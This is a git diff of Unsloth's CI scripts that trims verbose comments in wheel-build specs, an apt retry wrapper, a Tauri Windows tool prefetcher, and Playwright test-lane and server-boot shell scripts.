"FLASH_ATTENTION_FORCE_CXX11_ABI": CXX11_ABI,
- # Upstream's default is "80;90;100;110;120". 110 (Thor) is dropped because nothing
- # Unsloth targets runs it and each arch is a full pass over every kernel. 86 and 89
- # are absent for a different reason: they are not needed. A cubin is compatible
- # forward across the minor versions of its major, so sm_80 code runs on sm_86 and
- # sm_89 hardware, and setup.py additionally emits PTX for the newest arch so an
- # unlisted future card JITs rather than failing.
+ # sm_86/89 run sm_80 cubins and PTX covers future cards; 110 is not targeted.
"FLASH_ATTN_CUDA_ARCHS": "80;90;100;120",
},
- # Split the 6-8 hour compile across jobs to stay below GitHub's 6-hour limit.
+ # Shard the compile to stay below GitHub's 6-hour job limit.
"shards": 8,
# Leave time to upload partial caches after a build timeout.
"build_timeout": "300m",
@@ -256,13 +241,10 @@ SPECS = {
"nvcc_threads": "2",
"env": {
"MAMBA_FORCE_BUILD": "TRUE",
- # Mamba-1's selective-scan CUDA kernels are opt-in upstream. They are the reason
- # this wheel is worth building: without them mamba_ssm falls back to the reference
- # path, and selective_scan_cuda -- the extension whose missing symbols are the
- # whole ABI problem -- is not in the wheel at all.
+ # Mamba-1's selective-scan kernels are opt-in upstream and are the reason for this wheel.
"MAMBA_KEEP_CUDA_BUILD": "TRUE",
},
- # The one source edit in this workflow. See patch_mamba_cxx20.py.
+ # See patch_mamba_cxx20.py.
"patch": "cxx20",
"build_timeout": "180m",
"import_names": ["mamba_ssm", "selective_scan_cuda"],
@@ -272,8 +254,6 @@ SPECS = {
},
}
-# torch minors, not patch levels, are what the ABI is keyed on, but the build needs an exact
-# version to pip install, so the table is keyed by the full version and the minor is derived.
TORCH_VERSIONS = ("2.13.0", "2.14.0")
@@ -731,8 +711,7 @@ def _cmd_matrix(args: argparse.Namespace) -> int:
pure = pure_matrix(os.environ.get("UW_PACKAGES", ""))
print(matrix)
- # Writing the step output here rather than echoing it in YAML keeps the JSON -- which is
- # full of quotes and braces -- out of a shell round trip entirely.
+ # Written here to keep quote-heavy JSON out of a shell round trip.
if args.github:
output = os.environ.get("GITHUB_OUTPUT")
if output:
diff --git a/.github/scripts/prebuilt_wheels_forward.py b/.github/scripts/prebuilt_wheels_forward.py
index 8e68d33af7f..d0784dca410 100644
--- a/.github/scripts/prebuilt_wheels_forward.py
+++ b/.github/scripts/prebuilt_wheels_forward.py
@@ -62,8 +62,7 @@ def check_flash_attn(device: str) -> None:
).transpose(1, 2)
error = (out.float() - reference).abs().max().item()
print(f" max abs error against SDPA: {error:.4f}")
- # bf16 accumulation, not a tolerance anyone should tighten: the point is that the kernel
- # computed attention rather than returning plausible-looking garbage.
+ # Loose on purpose (bf16 accumulation); this only checks attention was actually computed.
assert error < 0.1, error
@@ -86,8 +85,7 @@ def check_mamba_ssm(device: str) -> None:
import mamba_ssm
from mamba_ssm.ops.selective_scan_interface import selective_scan_fn
- # Imported for its own sake: this is the extension torch 2.13 stopped loading, and the one
- # the C++20 patch exists for. Importing mamba_ssm alone does not prove it is present.
+ # Import explicitly: importing mamba_ssm alone does not prove this extension loads.
import selective_scan_cuda
print("mamba_ssm", mamba_ssm.__version__, selective_scan_cuda.__file__)
diff --git a/.github/scripts/prefetch-tauri-windows-tools.ps1 b/.github/scripts/prefetch-tauri-windows-tools.ps1
index 68ef484399e..5e1434f1124 100644
--- a/.github/scripts/prefetch-tauri-windows-tools.ps1
+++ b/.github/scripts/prefetch-tauri-windows-tools.ps1
@@ -1,15 +1,6 @@
-# Put tauri-bundler's NSIS toolset and WebView2 bootstrapper where it looks for
-# them before downloading, so `tauri build` never fetches them mid-bundle.
-#
-# The bundler fetches each with one unretried GET after the compile and signing
-# passes. A single github.com 504 on nsis-3.11.zip failed the Windows x64 leg of
-# the v0.1.901-beta release that way. Here every download is retried and hash or
-# signature checked; if one still fails, the bundler is left to try as before.
-#
-# URLs, SHA1s and the required-file list mirror tauri-bundler 2.8.1
-# (src/bundle/windows/nsis/mod.rs, src/bundle/windows/util.rs), the bundler in
-# tauri-cli 2.10.1. On any other CLI version this skips rather than seed a
-# toolset the bundler may not expect: re-pin the constants from its source.
+# Pre-seed tauri-bundler's NSIS toolset and WebView2 bootstrapper so `tauri build` does not
+# fetch them unretried. Constants mirror tauri-bundler 2.8.1 (tauri-cli 2.10.1); other CLI
+# versions skip. Re-pin from its source when upgrading.
param(
# dirs::cache_dir()/tauri, the bundler's default tools directory.
@@ -90,12 +81,11 @@ try {
if (Test-NsisComplete $nsisDir) {
Write-Host "NSIS toolset already complete at $nsisDir"
} else {
- # Anything partial would be wiped and refetched by the bundler anyway.
Remove-Item -LiteralPath $nsisDir -Recurse -Force -ErrorAction SilentlyContinue
$zip = Join-Path $scratch 'nsis.zip'
$dll = Join-Path $scratch 'nsis_tauri_utils.dll'
if ((Save-WithRetry $nsisUrl $zip) -and (Save-WithRetry $utilsUrl $dll)) {
- # A hash mismatch is not transient: fail instead of retrying it away.
+ # A hash mismatch is not transient: fail instead of retrying.
if (-not (Test-Sha1 $zip $nsisSha1)) { throw "nsis-3.11.zip SHA1 mismatch, expected $nsisSha1" }
if (-not (Test-Sha1 $dll $utilsSha1)) { throw "nsis_tauri_utils.dll SHA1 mismatch, expected $utilsSha1" }
Expand-Archive -LiteralPath $zip -DestinationPath $scratch -Force
@@ -110,8 +100,7 @@ try {
}
}
- # embedBootstrapper: the bundler reuses this file whenever it exists and
- # checks nothing, so only a valid Microsoft-signed binary is put there.
+ # The bundler reuses this file unchecked, so only a valid Microsoft-signed binary goes here.
$webview2 = Join-Path $ToolsDir 'MicrosoftEdgeWebview2Setup.exe'
if (Test-Path -LiteralPath $webview2) {
Write-Host "WebView2 bootstrapper already present at $webview2"
diff --git a/.github/scripts/retry-with-apt-lock.sh b/.github/scripts/retry-with-apt-lock.sh
index daee90ec56c..e2908d120cc 100755
--- a/.github/scripts/retry-with-apt-lock.sh
+++ b/.github/scripts/retry-with-apt-lock.sh
@@ -1,72 +1,22 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Run a command that talks to apt, bounded per attempt and retried.
-# GitHub's Azure apt mirror stalls on these runners. Observed repeatedly in one
-# day: `playwright install --with-deps` sat in apt's download loop three times,
-# and `Linux deps` (a bare `apt-get update && apt-get install`) sat there for 28
-# minutes before anyone noticed. An unbounded apt step is not slow, it is silent:
-# it spends the job's whole timeout-minutes, GitHub scores the result as
-# "cancelled" rather than a failure, prints no reason, and skips every step after
-# it. A shard then reports nothing about its subject because a mirror hiccuped.
-# Two things make the retry actually work, and both were learned the hard way:
-# 1. The apt locks, PLURAL. apt runs as root, so killing the attempt leaves the
-# apt-get child alive holding a lock, and the next attempt dies two seconds
-# later with "Could not get lock". A retry that cannot succeed is worse than
-# none: it buries the real reason under a second, different failure. So wait
-# for the locks, then take them -- the holder is our own orphan and the
-# runner is disposable.
-# There are four, and which one matters depends on what apt was doing.
-# Waiting on only /var/lib/dpkg/lock-frontend is how the first version of
-# this shipped, and it made the retry useless for exactly the case it was
-# written for: `apt-get update` takes /var/lib/apt/lists/lock and nothing
-# else, so the wait saw a free lock, retried immediately, and produced
-# E: Could not get lock /var/lib/apt/lists/lock. It is held by process 2420 (apt-get)
-# twice in a row in under two seconds. Three attempts, one real one.
-# 2. `set -e`. GitHub runs `run:` blocks as `bash -e`, so a bare failing
-# command aborts the step then and there. A retry loop written as
-# `timeout ... ; rc=$?` never reaches its second attempt: the step exits 124
-# with no output at all, which is exactly how the first version of this
-# shipped and why it is a script now rather than eight inline copies.
-# 3. apt's own timeouts, which is the part that makes the retry meaningful
-# rather than merely survivable. Reading the logs of the four stalls above:
-# 04:47:02 Get:5 https://archive.ubuntu.com/ubuntu noble-security InRelease [126 kB]
-# 05:16:29 ##[error]The operation was canceled.
-# Twenty-nine minutes of silence, mid-fetch of a 126 kB index file. Two of
-# the four hung on that same file. What happened before it is the other half
-# of the story: azure.archive.ubuntu.com was `Ign:`d four times over thirty
-# seconds, so apt had already failed over through /etc/apt/apt-mirrors.txt to
-# the public archive, which is not provisioned for this fleet.
-# apt did not consider any of that an error. `Acquire::http::Timeout`
-# defaults to 120s AND is an idle timeout, so a connection that is open and
-# trickling never trips it -- apt will wait out the heat death of the
-# universe for a socket that is technically still alive. Cutting the timeout
-# to 20s with internal retries turns a 29-minute hang into a ~1 minute
-# failure, which matters for a reason beyond speed: the wall-clock kill below
-# is what orphans the dpkg lock in the first place, so an apt that fails on
-# its own is an apt we never have to kill.
-# Deliberately NOT pinning a mirror. The evidence does not support it: in one
-# stall Azure was dead and the public archive hung, in another Azure was
-# serving fine and the transfer stalled at a 13.6 MB package. Neither is
-# reliably better, and the mirrorlist failover is already the right mechanism
-# -- it just needs to be allowed to give up.
+# Run an apt-using command with a per-attempt timeout, retries and apt fail-fast settings.
+# Waits for and clears all four apt locks an orphaned attempt may hold.
# Usage:
# bash .github/scripts/retry-with-apt-lock.sh apt-get update
-# bash .github/scripts/retry-with-apt-lock.sh apt-get install -y foo bar
# bash .github/scripts/retry-with-apt-lock.sh python -m playwright install --with-deps chromium
# Environment:
# RETRY_ATTEMPTS attempts before giving up (default 3)
# RETRY_ATTEMPT_TIMEOUT seconds per attempt (default 480)
# APT_ACQUIRE_TIMEOUT seconds apt waits on a stalled transfer (default 20)
# APT_ACQUIRE_RETRIES apt's own internal retries (default 3)
-# Deliberately no `set -e`: this script reads exit codes itself, and -e would
-# abort it on the very first failing attempt -- the bug described above.
+# No `set -e`: this script reads exit codes itself.
set -uo pipefail
ATTEMPTS="${RETRY_ATTEMPTS:-3}"
ATTEMPT_TIMEOUT="${RETRY_ATTEMPT_TIMEOUT:-480}"
-# Every lock apt takes. dpkg's two cover install/configure, lists covers `update`,
-# and archives covers the download cache; an orphan can be holding any of them.
+# dpkg's two locks cover install, lists covers update, archives covers the download cache.
APT_LOCKS="/var/lib/dpkg/lock-frontend /var/lib/dpkg/lock /var/lib/apt/lists/lock /var/cache/apt/archives/lock"
APT_TIMEOUT="${APT_ACQUIRE_TIMEOUT:-20}"
APT_RETRIES="${APT_ACQUIRE_RETRIES:-3}"
@@ -77,16 +27,9 @@ if [ "$#" -eq 0 ]; then
exit 2
fi
-# Best effort: a runner without fuser still retries, it just cannot wait on the
-# lock. Reported once rather than silently, so a retry that fails on a held lock
-# is explicable.
have_fuser() { command -v fuser > /dev/null 2>&1; }
-# Make apt give up on a dead transfer instead of waiting on it forever. Written
-# before the first attempt rather than baked into the runner image so it applies
-# to `playwright install --with-deps` too, which shells out to apt without ever
-# naming it. Best effort throughout: a runner where this cannot be written still
-# runs the command, just without the fast failure.
+# Applied globally so `playwright install --with-deps`, which calls apt indirectly, fails fast too.
configure_apt_fail_fast() {
[ -d /etc/apt/apt.conf.d ] || return 0
conf="Acquire::Retries \"${APT_RETRIES}\";
@@ -100,8 +43,7 @@ Acquire::ftp::Timeout \"${APT_TIMEOUT}\";"
echo "apt configured to fail fast: ${APT_TIMEOUT}s transfer timeout, ${APT_RETRIES} internal retries"
}
-# Held locks, as a single string. Absent files are not locks, and `fuser` on one
-# is an error rather than an answer, so they are skipped rather than waited on.
+# `fuser` on an absent file is an error, so missing lock files are skipped.
held_apt_locks() {
held=""
for lock in $APT_LOCKS; do
@@ -137,18 +79,14 @@ configure_apt_fail_fast
for attempt in $(seq 1 "$ATTEMPTS"); do
rc=0
- # `|| rc=$?` keeps this exempt from any -e a caller may have set, and records
- # the status instead of ending the script.
+ # `|| rc=$?` stays exempt from any caller -e.
timeout --signal=TERM --kill-after=30 "$ATTEMPT_TIMEOUT" "$@" || rc=$?
if [ "$rc" -eq 0 ]; then
[ "$attempt" -gt 1 ] && echo "::notice::succeeded on attempt ${attempt}"
exit 0
fi
- # 124 is timeout's own "I killed it"; 137 is SIGKILL landing after
- # --kill-after. Anything else is the command itself refusing, and saying "did
- # not finish" about a two-second exit sends the next reader looking for a
- # stall that never happened.
+ # 124 is timeout's kill and 137 is SIGKILL after --kill-after; anything else is the command.
if [ "$rc" -eq 124 ] || [ "$rc" -eq 137 ]; then
reason="did not finish within ${ATTEMPT_TIMEOUT}s"
else
diff --git a/.github/scripts/run-studio-indicator-browser.sh b/.github/scripts/run-studio-indicator-browser.sh
index 94dd9f91a29..49b9f5eef29 100755
--- a/.github/scripts/run-studio-indicator-browser.sh
+++ b/.github/scripts/run-studio-indicator-browser.sh
@@ -2,10 +2,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Boot an API-only Unsloth and run the loaded-models indicator suite against it
-# in one browser engine. Sibling of run-studio-permission-browser.sh, same shape
-# and same bootstrap; the suite stubs the four /status endpoints with
-# page.route, so it needs no model, no GPU and no llama.cpp build.
+# Boot an API-only Unsloth and run the loaded-models indicator suite in one browser engine.
set -euo pipefail
@@ -22,7 +19,7 @@ if [ -n "${STUDIO_INDICATOR_FRONTEND:-}" ]; then
fi
mkdir -p "$artifact_dir"
-# Wipe rather than reset: the boot below must mint a fresh .bootstrap_password.
+# Wipe rather than reset: the boot must mint a fresh .bootstrap_password.
rm -rf "$studio_home/auth"
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$port" "$@" \
>"$server_log" 2>&1 &
@@ -34,17 +31,12 @@ cleanup() {
}
trap cleanup EXIT
-# Same signal report as run-studio-permission-browser.sh; see the comment there for the
-# failure this exists to make readable. This script has the identical shape (background
-# server, EXIT trap, suite as the last command), so it can lose a passing run to a late
-# signal the same way, and it now runs concurrently with the chat lane on Windows.
+# Same signal report as run-studio-permission-browser.sh.
suite_done=0
_on_signal() {
name="$1"; number="$2"
echo "[indicator] SIG${name} received at $(date -u +%H:%M:%S) after suite_done=${suite_done}" >&2
- # comm, not args: this lands in a public CI log, and a command line can carry a
- # token that ::add-mask:: never saw. Process names answer "what was still alive"
- # without quoting anyone's argv.
+ # comm, not args: a command line in this public log could carry an unmasked token.
ps -o pid,ppid,comm 2>/dev/null | tail -20 >&2 || true
exit $((128 + number))
}
@@ -53,11 +45,7 @@ trap '_on_signal INT 2' INT
trap '_on_signal HUP 1' HUP
healthy=0
-# --max-time, or only the loop counter is bounded and a server that binds the
-# port then wedges parks the first iteration forever. And a real deadline
-# rather than an iteration count, because once a probe can cost --max-time,
-# 180 iterations is up to 18 minutes rather than the 180s it reads as. See
-# wait-for-health.sh, which had both halves of the same hole.
+# --max-time plus a real deadline, so a wedged server cannot stall the loop.
health_deadline=$(( SECONDS + 180 ))
while [ "$SECONDS" -lt "$health_deadline" ]; do
if curl -fs --connect-timeout 3 --max-time 5 \
diff --git a/.github/scripts/run-studio-permission-browser.sh b/.github/scripts/run-studio-permission-browser.sh
index 462ed8627d9..102c8d51bf5 100755
--- a/.github/scripts/run-studio-permission-browser.sh
+++ b/.github/scripts/run-studio-permission-browser.sh
@@ -50,28 +50,12 @@ cleanup() {
}
trap cleanup EXIT
-# Say who died and when, for a failure mode that currently reports nothing.
-# Observed on windows-latest at roughly one run in twenty-five: the suite prints
-# "permission-only run passed" and the STEP then ends with "Process completed with exit
-# code 143". 143 is 128+SIGTERM, so something signalled this script after its work had
-# already succeeded, and neither the step log nor the server log records what. The
-# server log simply stops mid-request, which is what cleanup killing it looks like, so
-# it cannot distinguish the two.
-# suite_done is the fact worth capturing: it separates "signalled while driving the
-# browser" (a real timeout worth chasing) from "signalled after passing" (a teardown
-# ordering problem, and what the one observed instance was). Without it the next
-# occurrence is as unreadable as this one.
-# `exit` explicitly, because the whole point is to be unambiguous about the status
-# rather than to rely on what bash would have chosen for a trapped signal.
+# Report which signal killed us and whether the suite had already passed (suite_done).
suite_done=0
_on_signal() {
name="$1"; number="$2"
echo "[permissions] SIG${name} received at $(date -u +%H:%M:%S) after suite_done=${suite_done}" >&2
- # Best effort: what was still alive. `ps` differs across MSYS and Linux and its
- # absence must not replace the signal report with an error about ps.
- # comm, not args: this lands in a public CI log, and a command line can carry a
- # token that ::add-mask:: never saw. Process names answer "what was still alive"
- # without quoting anyone's argv.
+ # comm, not args: a command line in this public log could carry an unmasked token.
ps -o pid,ppid,comm 2>/dev/null | tail -20 >&2 || true
exit $((128 + number))
}
@@ -80,11 +64,7 @@ trap '_on_signal INT 2' INT
trap '_on_signal HUP 1' HUP
healthy=0
-# --max-time, or only the loop counter is bounded and a server that binds the
-# port then wedges parks the first iteration forever. And a real deadline
-# rather than an iteration count, because once a probe can cost --max-time,
-# 180 iterations is up to 18 minutes rather than the 180s it reads as. See
-# wait-for-health.sh, which had both halves of the same hole.
+# --max-time plus a real deadline, so a wedged server cannot stall the loop.
health_deadline=$(( SECONDS + 180 ))
while [ "$SECONDS" -lt "$health_deadline" ]; do
if curl -fs --connect-timeout 3 --max-time 5 \
@@ -115,9 +95,7 @@ export STUDIO_OLD_PW="$old_password"
export STUDIO_NEW_PW="$new_password"
export STUDIO_UI_STRICT=1
export STUDIO_UI_PERMISSION_ONLY=1
-# 240s is a per-browser cap, and three browsers run in one step. The wall is the budget
-# between two progress reports now, so it no longer bounds a whole invocation on its own:
-# the total is what holds this to four minutes per browser.
+# Per-browser cap between progress reports, not a total for the step.
export STUDIO_UI_WALL_TIMEOUT_S=240
export STUDIO_UI_TOTAL_TIMEOUT_S=240
export STUDIO_PLAYWRIGHT_BROWSER="$browser"
@@ -129,6 +107,5 @@ else
fi
python tests/studio/playwright_chat_ui.py
-# Set only after the suite returns 0 (set -e means a failure never reaches here), so a
-# signal arriving during teardown is distinguishable from one that interrupted the run.
+# Set only after the suite passes, to tell a teardown signal from a mid-run one.
suite_done=1
diff --git a/.github/scripts/run-studio-ui-lane.sh b/.github/scripts/run-studio-ui-lane.sh
index b32e521737e..ad5aba4b187 100644
--- a/.github/scripts/run-studio-ui-lane.sh
+++ b/.github/scripts/run-studio-ui-lane.sh
@@ -1,53 +1,12 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# One lane of the Windows Chat UI Tests job, start to finish: boot an Unsloth on
-# this lane's own port and own UNSLOTH_STUDIO_HOME, rotate the bootstrap
-# password, drive its Playwright suites, stop the server.
+# One lane of the Windows Chat UI Tests job: boot Unsloth on its own port and home,
+# rotate the bootstrap password, drive its Playwright suites, stop the server.
# Usage: run-studio-ui-lane.sh chat|extra
-# Why this exists. The job ran five Playwright suites one after another for
-# ~788s of a 20.6 minute job, 88% of it in steps over 60s, and it was the last
-# finisher on every commit where no macOS job ran. The suites are disjoint --
-# each boots its own server and drives its own browser -- and the ports were
-# ALREADY distinct (18895/18896/18897/18899). The only thing forcing sequence
-# was shared state, exactly as #9158 found for the three Linux indicator
-# engines.
-# Two lanes rather than five. windows-latest is 4 vCPU / 16 GB and these lanes
-# load a real GGUF through llama-server, whose turn latency already needed a
-# 540s budget on this image. Five concurrent servers would contend for the same
-# four cores and turn a timing-sensitive suite into a flaky one. Two splits the
-# work near evenly -- 375s against 413s -- so the lane wall is ~413s, and the
-# theoretical floor with the 287s indicator suite in it is 287s. Three lanes buy
-# ~126s for a third model-loading server; not worth it here.
-# chat : chat UI (18896) -> loaded-models indicator, Edge (18899)
-# extra : Compare/Recipes/Export/Settings + update banner (18897)
-# -> Edge permission controls (18895)
-# Within a lane the order and the environment of every suite is unchanged from
-# when they were steps, including `extra` reusing one server for both of its
-# Playwright runs and passing the same STUDIO_OLD_PW / STUDIO_NEW_PW to each.
-# THE STATE SPLIT. Per lane:
-# port -- one each, so both servers coexist. Already true.
-# UNSLOTH_STUDIO_HOME -- one each. boot-studio-api-only.sh wipes
-# $home/auth so the boot mints a fresh .bootstrap_password, then this
-# script reads that file back. On a shared home the two lanes race
-# destructively: one wipes the password the other just minted and is
-# about to log in with.
-# health probe tmp -- one each; the helper defaults to a single path.
-# artifact + log paths -- one each, so a failure in one lane is still
-# readable after the other has written its own.
-# UNSLOTH_STUDIO_HOME is the CLI's INSTALL root, not just a data root, so a bare
-# empty directory is not usable: unsloth_cli/commands/studio.py resolves
-# $UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/python.exe and exits "Unsloth
-# Unsloth not set up. Run install.sh first." before binding a port. Each lane
-# home therefore links the one venv install.ps1 already built and owns only the
-# mutable state beside it.
-# And one thing the Linux precedent did not have to handle. Setting the variable
-# makes the root CUSTOM, and _ensure_studio_env_exported() then points
-# UNSLOTH_LLAMA_CPP_PATH at $UNSLOTH_STUDIO_HOME/llama.cpp rather than the
-# legacy ~/.unsloth/llama.cpp (studio.py, `if _is_legacy`). These lanes load a
-# real model, so a lane whose home has no llama.cpp would fail to load rather
-# than fall back. It is set explicitly below, which the CLI honours because that
-# export is a truthy-check and not an unconditional assignment.
+# Each lane needs its own port, UNSLOTH_STUDIO_HOME, health tmp and log paths, or they race.
+# The lane home links the installed venv, and UNSLOTH_LLAMA_CPP_PATH is set explicitly because
+# a custom home would otherwise point llama.cpp at $UNSLOTH_STUDIO_HOME/llama.cpp.
set -euo pipefail
@@ -60,7 +19,6 @@ case "$LANE" in
esac
installed_home="${UNSLOTH_INSTALLED_STUDIO_HOME:-$HOME/.unsloth/studio}"
-# Windows install; Linux path kept so the script is runnable off-CI.
if [ -x "$installed_home/unsloth_studio/Scripts/python.exe" ]; then
installed_py="$installed_home/unsloth_studio/Scripts/python.exe"
elif [ -x "$installed_home/unsloth_studio/bin/python" ]; then
@@ -75,11 +33,7 @@ echo "[lane $LANE] linking venv from $installed_py"
home="${GITHUB_WORKSPACE:-$PWD}/.studio-lane-$LANE"
mkdir -p "$home"
-# A junction, not `ln -s`. Under MSYS `ln -s` COPIES by default unless
-# MSYS=winsymlinks:nativestrict, and a native symlink needs Developer Mode or
-# admin; either way a per-lane copy of the venv would cost more than the
-# parallelism saves. `mklink /J` is a directory junction, needs no privilege,
-# and is what the filesystem gives you for free.
+# A junction, not `ln -s`: MSYS copies by default and native symlinks need privileges.
if [ ! -e "$home/unsloth_studio" ]; then
if [ "${OS:-}" = "Windows_NT" ]; then
cmd //c mklink //J "$(cygpath -w "$home/unsloth_studio")" \
@@ -90,7 +44,6 @@ if [ ! -e "$home/unsloth_studio" ]; then
fi
export UNSLOTH_STUDIO_HOME="$home"
-# See the header: a custom root would otherwise send this to $home/llama.cpp.
export UNSLOTH_LLAMA_CPP_PATH="${UNSLOTH_LLAMA_CPP_PATH:-$HOME/.unsloth/llama.cpp}"
server_log="logs/studio-lane-$LANE.log"
@@ -98,14 +51,7 @@ mkdir -p logs
boot() {
local port="$1" log="$2"
- # `env -u GITHUB_ENV` is load-bearing, not tidiness. boot-studio-api-only.sh
- # appends the pid to $GITHUB_ENV when it is set and only falls back to stdout
- # when it is not -- and inside a step it is always set. Two concurrent lanes
- # would then both append LANE_PID= to the one file the runner reads after the
- # step, which is both a lost pid and the very kind of shared mutable state
- # this split exists to remove. Unset for this call, the pid comes back on
- # stdout where a per-lane shell can read it. Same reason the password rotation
- # below is inline rather than a `>> $GITHUB_ENV` step of its own.
+ # `env -u GITHUB_ENV` so concurrent lanes do not both append LANE_PID to the shared file.
env -u GITHUB_ENV bash .github/scripts/boot-studio-api-only.sh \
--port "$port" --log "$log" --pid-var "LANE_PID" > "logs/boot-$LANE.out" 2>&1
LANE_PID="$(sed -n 's/^LANE_PID=//p' "logs/boot-$LANE.out" | tail -1)"
@@ -123,9 +69,7 @@ stop() {
}
trap stop EXIT
-# Rotated per lane, from THIS lane's home. Every existing call site reads
-# ~/.unsloth/studio/auth/.bootstrap_password directly, which is the legacy path
-# and would hand a lane the other lane's password.
+# Read from this lane's home; the legacy path would hand over the other lane's password.
mint() {
STUDIO_OLD_PW="$(cat "$home/auth/.bootstrap_password")"
STUDIO_NEW_PW="CIUi-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
@@ -136,9 +80,6 @@ mint() {
export STUDIO_OLD_PW STUDIO_NEW_PW STUDIO_NEW2_PW
}
-# windows-latest is 4 vCPU / 16 GB and gemma-3-270m turn latency under
-# llama-server's CPU backend already crowded the 180s default on this image
-# before anything ran beside it. Unchanged from the steps these replace.
export STUDIO_UI_STRICT=1
export STUDIO_UI_TURN_TIMEOUT_MS=540000
@@ -148,10 +89,9 @@ if [ "$LANE" = "chat" ]; then
mkdir -p logs/playwright
BASE_URL="http://127.0.0.1:$PORT" PW_ART_DIR=logs/playwright \
python tests/studio/playwright_chat_ui.py
- # chat-ui ends with a Shutdown click; this is belt-and-suspenders.
stop
- # Real Edge, which is also the WebView2 the desktop app embeds on Windows.
+ # Real Edge, the same engine as the desktop app's WebView2.
bash .github/scripts/run-studio-indicator-browser.sh 18899 chromium msedge
else
boot "$PORT" "$server_log"
@@ -160,11 +100,6 @@ else
BASE_URL="http://127.0.0.1:$PORT" PW_ART_DIR=logs/playwright_extra \
python tests/studio/playwright_extra_ui.py
- # The same layout regression the Linux job runs, on the platform whose
- # scrollbars actually take width and whose font metrics are its own: the
- # card's floor and the action row's wrap threshold are both measurements, and
- # a measurement taken on one platform is a guess on the others. Same server
- # and same credentials it had as a step.
mkdir -p logs/playwright_update_banner
BASE_URL="http://127.0.0.1:$PORT" PW_ART_DIR=logs/playwright_update_banner \
python tests/studio/playwright_update_banner_layout.py
diff --git a/.github/scripts/select_install_matrix.py b/.github/scripts/select_install_matrix.py
index d05cfff2b3b..b013b956c3b 100644
--- a/.github/scripts/select_install_matrix.py
+++ b/.github/scripts/select_install_matrix.py
@@ -55,7 +55,6 @@ def main(argv: list[str] | None = None) -> int:
for job, matrix in select(legs_by_job, args.event).items():
# One line per output: a newline inside the JSON would end the value early.
print(f"{job}={json.dumps(matrix, separators = (',', ':'))}")
- # An empty matrix is a workflow error, so an all-nightly job gates on this count.
print(f"{job}_count={len(matrix['include'])}")
return 0
diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh
index 067b2fcb6e6..bf54d570424 100755
--- a/.github/scripts/serve-unsloth-run.sh
+++ b/.github/scripts/serve-unsloth-run.sh
@@ -1,33 +1,14 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Boot `unsloth run --disable-tools` in the background, wait for it to be
-# healthy, parse the minted API key from the banner, and resolve the
-# /v1/models id. Exports everything downstream steps need into $GITHUB_ENV
-# (or prints it when run outside Actions). Factored out of the workflow so
-# the failure-isolation logic lives in one shellcheck-clean place.
+# Boot `unsloth run --disable-tools` in the background, wait for health, parse the API key
+# from the banner and resolve the /v1/models id. Exports to $GITHUB_ENV (or prints locally).
# Usage:
# serve-unsloth-run.sh --model REPO --gguf-variant VAR --port PORT \
# [--gguf-file PATH] [--extra "--seed 3407 --temp 0"] \
# [--log-dir logs] [--health-timeout 300] [--banner-timeout 300]
-# Why a helper and not inline YAML
-# * Every `unsloth run` invocation here is the *Unsloth server* under test.
-# A failure to come up healthy is class (a) "server/API regression" and
-# must be reported with a distinct `::error::` BEFORE any agent runs.
-# * The banner is the documented contract a human copies from. We parse the
-# exact `API Key:` line printed by unsloth_cli/commands/studio.py
-# (` API Key: <key>` non-silent, `API Key: <key>` silent) so a
-# silent change to that line is also caught.
-# * `unsloth run` re-execs into the studio venv ($STUDIO_HOME/unsloth_studio),
-# so in CI after `install.sh --local` it runs the PR's repo code.
-# Outputs written to $GITHUB_ENV (and echoed):
-# UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner
-# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth start`
-# finds THIS server, not the hardcoded :8888)
-# UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity)
-# UNSLOTH_MODEL_ID the canonical id reported by /v1/models
-# UNSLOTH_SERVER_PID pid of the backgrounded `unsloth run`
-# UNSLOTH_LLAMA_LOG_DIR ~/.unsloth/studio/logs/llama-server
+# Outputs: UNSLOTH_API_KEY, UNSLOTH_STUDIO_URL, UNSLOTH_BASE_URL, UNSLOTH_MODEL_ID,
+# UNSLOTH_SERVER_PID, UNSLOTH_LLAMA_LOG_DIR.
set -uo pipefail
@@ -67,7 +48,6 @@ BASE_URL="http://127.0.0.1:${PORT}"
STUDIO_HOME_DIR="${STUDIO_HOME:-$HOME/.unsloth/studio}"
LLAMA_LOG_DIR="${STUDIO_HOME_DIR}/logs/llama-server"
-# Emit a key=value pair to $GITHUB_ENV when set, always echo for local runs.
emit() {
echo "$1=$2"
if [ -n "${GITHUB_ENV:-}" ]; then
@@ -83,9 +63,7 @@ server_fail() {
}
# ── port collision guard ─────────────────────────────────────────────────
-# A leftover listener (or a parallel matrix cell that wandered onto our port)
-# would make us attach to the wrong server and mask a real regression. Fail
-# fast instead.
+# Fail fast if the port is taken, or we would test the wrong server.
if command -v ss >/dev/null 2>&1; then
if ss -tln 2>/dev/null | grep -q ":${PORT}\b"; then
server_fail "port ${PORT} already has a listener before we started (collision)"
@@ -93,9 +71,7 @@ if command -v ss >/dev/null 2>&1; then
fi
# ── build the command ────────────────────────────────────────────────────
-# `unsloth run` == alias of `unsloth studio run`. --disable-tools is REQUIRED
-# (passthrough mode) so the agent's own tools relay instead of the server's.
-# --no-cloudflare keeps us off the network (loopback bind, no tunnel attempt).
+# --disable-tools is required so the agent's own tools relay instead of the server's.
CMD=(unsloth run -H 127.0.0.1 -p "$PORT" --disable-tools --no-cloudflare)
if [ -n "$GGUF_FILE" ]; then
CMD+=(--model "$GGUF_FILE")
@@ -103,15 +79,12 @@ else
CMD+=(--model "$MODEL")
[ -n "$GGUF_VARIANT" ] && CMD+=(--gguf-variant "$GGUF_VARIANT")
fi
-# Determinism knobs + any caller passthrough (e.g. --seed 3407 --temp 0).
# shellcheck disable=SC2206 # intentional word-split of caller-controlled flags
